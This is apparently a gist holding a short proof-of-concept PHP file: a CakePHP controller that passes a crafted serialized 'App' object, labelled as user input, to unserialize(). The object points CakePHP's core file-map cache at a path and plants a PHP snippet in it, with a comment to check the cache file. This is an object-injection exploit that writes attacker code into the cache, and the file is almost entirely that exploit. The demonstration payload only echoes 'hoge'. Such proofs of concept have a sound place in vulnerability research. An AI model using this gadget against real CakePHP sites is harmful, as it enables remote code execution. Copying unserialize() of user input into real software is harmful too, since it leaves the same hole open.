gistfile1.php

<?php
class SeriController extends AppController {

    var $uses = array();

    function index() {

$userinput_data = 'O:3:"App":4:{s:7:"__cache";i:1;s:5:"__map";a:2:{s:4:"Core";a:1:{s:6:"Router";s:42:"../tmp/cache/persistent/cake_core_file_map";}s:3:"Foo";s:26:"<? echo "hoge"; exit(); ?>";}s:7:"__paths";a:0:{}s:9:"__objects";a:0:{}}';


        unserialize($userinput_data);


        //check your cache file....
    }

}
?>